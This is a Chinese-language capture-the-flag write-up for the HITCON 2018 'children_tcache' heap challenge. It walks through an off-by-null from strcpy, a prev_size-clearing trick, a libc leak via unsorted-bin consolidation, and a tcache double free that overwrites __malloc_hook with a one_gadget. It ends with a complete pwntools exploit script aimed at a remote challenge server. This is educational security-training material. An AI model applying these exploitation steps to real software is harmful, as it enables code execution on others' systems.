HITCON_2018_children_tcache
检查保护措施

本地调试

堆菜单但是没有edit
IDA静态分析

这题漏洞点在于使用strcpy将我们输入的内容复制到堆上,因为strcpy会在字符串后面自动加上一个\x00所以会造成off-by-null
大致思路
这里如何去泄露libc是个难点,没有UAF不能简单地free一个chunk进unstored bin去show,那我们可以构造free一个chunk进unstored bin时去合并前面未释放的chunk,然后去切割unstored bin使得未释放的chunk的fd指向unsorted bin 链表的头部再show就可以泄露出来
我们先创建4个chunk
1 2 3 4
| add(0x410,'aaaa') add(0x68,'aaaa') add(0x4f0,'aaaa') add(0x10,'aaaa')
|
我们要利用1去改写chunk2的presize 和inuse位 = 0但是没有edit,且free之后会使用memset函数填充垃圾数据,
让inuse位为0很简单,只要释放chunk1再申请回来且写满数据,就会触发off-by-null覆盖inuse位,因为我们申请的chunk大小是0x68,会使用下一个chunk的presize,所以会溢出到chunk2的size的低一字节,那么presize如何改为0呢,这里有一个非常巧妙的方法
如果我们释放chunk1后申请0x67的chunk会怎样呢?
动调看一下:
1 2 3 4 5 6
| free(0) free(1) add(0x68,(0x68) * 'a') free(0) add(0x67,(0x67) * 'a') free(0)
|

可以看到presize的高一字节已经被覆盖成\x00,如果再重复上述操作就可以循环写入一字节的\x00去把presize覆盖掉,再申请回0x68写入0x490
1 2 3 4
| for i in range(0,9): add(0x68-i,(0x68-i) * b'a') free(0) add(0x68,'a'*(0x60)+p64(0x490))
|

此时再free(2),就会合并chunk0和chunk1
那我们再从中切割0x420大小,也就是申请0x410的chunk,就会让chunk1的fd指向unsorted bin 链表的头部,但是chunk1我们是没有去释放的,我们是可以show(1)的,就泄露出libc了
1 2 3 4
| add(0x410,'a') show(0) libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] print("libc_base",hex(libc_base))
|
此时我们再申请0x68的chunk是不是就会有两个指针指向了同一块内存,就能去doublefree了
1 2 3 4
| add(0x68,'b') free(0) free(2)
|

那么此时我们申请回来再改fd去修改malloc_hook就可以了
1 2 3 4 5 6 7 8 9 10 11 12
| one_gadget = [0x4f2c5,0x4f322,0x10a38c]
malloc_hook = libc_base + libc.sym['__malloc_hook'] add(0x68,p64(malloc_hook)) add(0x68,'aaaa') add(0x68,p64(one_gadget[1]+libc_base))
io.recvuntil("Your choice:") io.sendline('1') io.recvuntil("Size:") io.sendline('1')
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import* from struct import pack context(os='linux', arch='amd64', log_level='debug')
elf= ELF('./HITCON_2018_children_tcache') libc = ELF('libc-2.27.so') io = remote('node4.buuoj.cn',25555) def add(size,content): io.recvuntil("Your choice:") io.sendline('1') io.recvuntil("Size:") io.sendline(str(size)) io.recvuntil("Data:") io.sendline(content) def show(index): io.recvuntil("Your choice:") io.sendline(str(2)) io.recvuntil("Index:") io.sendline(str(index)) def free(index): io.recvuntil("Your choice:") io.sendline('3') io.recvuntil("Index:") io.sendline(str(index))
add(0x410,'aaaa') add(0x68,'aaaa') add(0x4f0,'aaaa') add(0x10,'aaaa')
free(0) free(1)
for i in range(0,9): add(0x68-i,(0x68-i) * b'a') free(0) add(0x68,'a'*(0x60)+p64(0x490))
free(2)
add(0x410,'a') show(0) libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] print("libc_base",hex(libc_base)) add(0x68,'b') free(0) free(2) one_gadget = [0x4f2c5,0x4f322,0x10a38c]
malloc_hook = libc_base + libc.sym['__malloc_hook'] add(0x68,p64(malloc_hook)) add(0x68,'aaaa') add(0x68,p64(one_gadget[1]+libc_base))
io.recvuntil("Your choice:") io.sendline('1') io.recvuntil("Size:") io.sendline('1')
io.interactive()
|
